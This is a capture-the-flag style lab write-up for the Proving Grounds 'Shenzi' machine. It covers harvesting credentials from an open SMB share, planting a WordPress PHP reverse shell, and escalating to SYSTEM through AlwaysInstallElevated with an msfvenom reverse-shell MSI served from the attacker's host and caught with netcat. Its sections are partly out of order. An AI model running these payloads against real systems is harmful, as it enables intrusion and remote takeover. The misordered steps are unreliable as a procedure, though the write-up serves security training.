Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
You will discover exposed credentials on an open SMB file share, enabling you to upload a PHP reverse shell to this lab for initial access. Following this, you will exploit an insecure registry configuration to install .msi packages with elevated privileges. This exercise enhances your skills in credential exploitation and privilege escalation through misconfigurations.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open SMB shares and retrieve sensitive information, such as credentials, from accessible files.
- Use discovered credentials to gain access to a Wordpress administration panel.
- Upload a PHP reverse shell through the Wordpress theme editor to achieve initial access.
- Enumerate registry settings to identify the AlwaysInstallElevated misconfiguration.
- Create and deploy a malicious MSI package to escalate privileges to SYSTEM.
Scenario
This lab involves exploiting credentials found in an open SMB share to gain access to a Wordpress site, which is used to upload a PHP reverse shell for initial access. Learners will escalate privileges using an insecure registry configuration (AlwaysInstallElevated) to install a malicious MSI package and obtain SYSTEM-level access. The lab highlights enumeration, web exploitation, and registry-based privilege escalation techniques.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
└─$ smbclient -N -L ////192.168.110.55//
Sharename Type Comment
--------- ---- -------
# Execute the next evidence-gathering step in the authorized lab.
IPC$ IPC Remote IPC
Shenzi Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.110.55 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availableThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/shenzi]
# Execute the next evidence-gathering step in the authorized lab.
└─$ smbclient -N //192.168.110.55/Shenzi
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu May 28 11:45:09 2020
.. D 0 Thu May 28 11:45:09 2020
passwords.txt A 894 Thu May 28 11:45:09 2020
readme_en.txt A 7367 Thu May 28 11:45:09 2020
sess_klk75u2q4rpgfjs3785h6hpipp A 3879 Thu May 28 11:45:09 2020
why.tmp A 213 Thu May 28 11:45:09 2020
xampp-control.ini A 178 Thu May 28 11:45:09 2020
12941823 blocks of size 4096. 4638515 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 894 as passwords.txt (7.8 KiloBytes/sec) (average 7.8 KiloBytes/sec)
smb: \> exitThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/shenzi]
# Read the file contents for useful configuration or credential data.
└─$ cat passwords.txt
### XAMPP Default Passwords ###
1) MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
2) FileZilla FTP:
[ You have to create a new user on the FileZilla Interface ]
3) Mercury (not in the USB & lite version):
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
4) WEBDAV:
User: xampp-dav-unsecure
Password: ppmax2011
Attention: WEBDAV is not active since XAMPP Version 1.7.4.
For activation please comment out the httpd-dav.conf and
following modules in the httpd.conf
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
Please do not forget to refresh the WEBDAV authentification (users and passwords).
5) WordPress:
User: admin
Password: FeltHeadwallWight357This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.110.55/shenzi/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.55/shenzi/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 1046]
.htaccess (Status: 403) [Size: 1046]
.htpasswd (Status: 403) [Size: 1046]
0 (Status: 301) [Size: 0] [--> http://192.168.110.55/shenzi/0/]
admin (Status: 302) [Size: 0] [--> http://192.168.110.55/shenzi/wp-admin/]
atom (Status: 301) [Size: 0] [--> http://192.168.110.55/shenzi/feed/atom/]
aux (Status: 403) [Size: 1046]
com1 (Status: 403) [Size: 1046]
com2 (Status: 403) [Size: 1046]
com3 (Status: 403) [Size: 1046]
con (Status: 403) [Size: 1046]
dashboard (Status: 302) [Size: 0] [--> http://192.168.110.55/shenzi/wp-admin/]
Progress: 1385 / 4613 (30.02%)^CUsing the wordpress credentials we are able to login
Navigating to
http://192.168.110.55/shenzi/themes/twentytwenty/404.phpwe get out shell
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
**** Online ****
000000 ...
027000
CertUtil: -URLCache command completed successfully.
C:\Users\shenzi\Desktop>.\shell.msi
C:\Users\shenzi\Desktop>Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
Nmap scan report for 192.168.110.55
Host is up (0.019s latency).
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.110.55/dashboard/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-title: Welcome to XAMPP
|_Requested resource was https://192.168.110.55/dashboard/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=7/2%OT=21%CT=1%CU=39129%PV=Y%DS=4%DC=T%G=Y%TM=6A46ACE2
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TS=U)SEQ(SP=105%GCD=1%IS
OS:R=109%TS=U)SEQ(SP=105%GCD=1%ISR=10B%TS=U)SEQ(SP=107%GCD=1%ISR=10A%TS=U)O
OS:PS(O1=M578NW8NNS%O2=M578NW8NNS%O3=M578NW8%O4=M578NW8NNS%O5=M578NW8NNS%O6
OS:=M578NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=
OS:Y%T=80%W=FFFF%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q
OS:=)T2(R=N)T3(R=N)T4(R=N)T5(R=N)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-07-02T18:24:22
|_ start_date: N/AThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.200 LPORT=4444 -f msi -o shell.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: shell.msi
┌──(kali㉿kali)-[~/offsec/shenzi]
# Run the helper or analysis script used in this lab step.
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.110.55 - - [02/Jul/2026 15:05:51] "GET /shell.msi HTTP/1.1" 200 -
192.168.110.55 - - [02/Jul/2026 15:05:51] "GET /shell.msi HTTP/1.1" 200 -Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.110.55] 52413
SOCKET: Shell has connected! PID: 8832
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\xampp\htdocs\shenzi>whoami
shenzi\shenzi
# Review the Windows privileges available to the current account.
C:\xampp\htdocs\shenzi>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\xampp\htdocs\shenzi>- There is
AlwaysInstallElevatedprivilege for the user - This means that .msi files (Microsoft Software Installer) are automatically installed with Administrative privileges. That’s our solution. All we need to do to elevate our privileges is to create a malicious MSI file, then transfer and install it.
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
─(kali㉿kali)-[~/offsec/shenzi]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.110.55] 52450
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\WINDOWS\system32>whoami
# Confirm the identity of the current session.
whoami
nt authority\system
# Read the file contents for useful configuration or credential data.
C:\WINDOWS\system32>type C:\Users\Administrators\Desktop\proof.txt
# Read the file contents for useful configuration or credential data.
type C:\Users\Administrators\Desktop\proof.txt
The system cannot find the path specified.
# Read the file contents for useful configuration or credential data.
C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\proof.txt
# Read the file contents for useful configuration or credential data.
type C:\Users\Administrator\Desktop\proof.txt
72a686b7786f9d7a6028db1b2eacc4c0Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.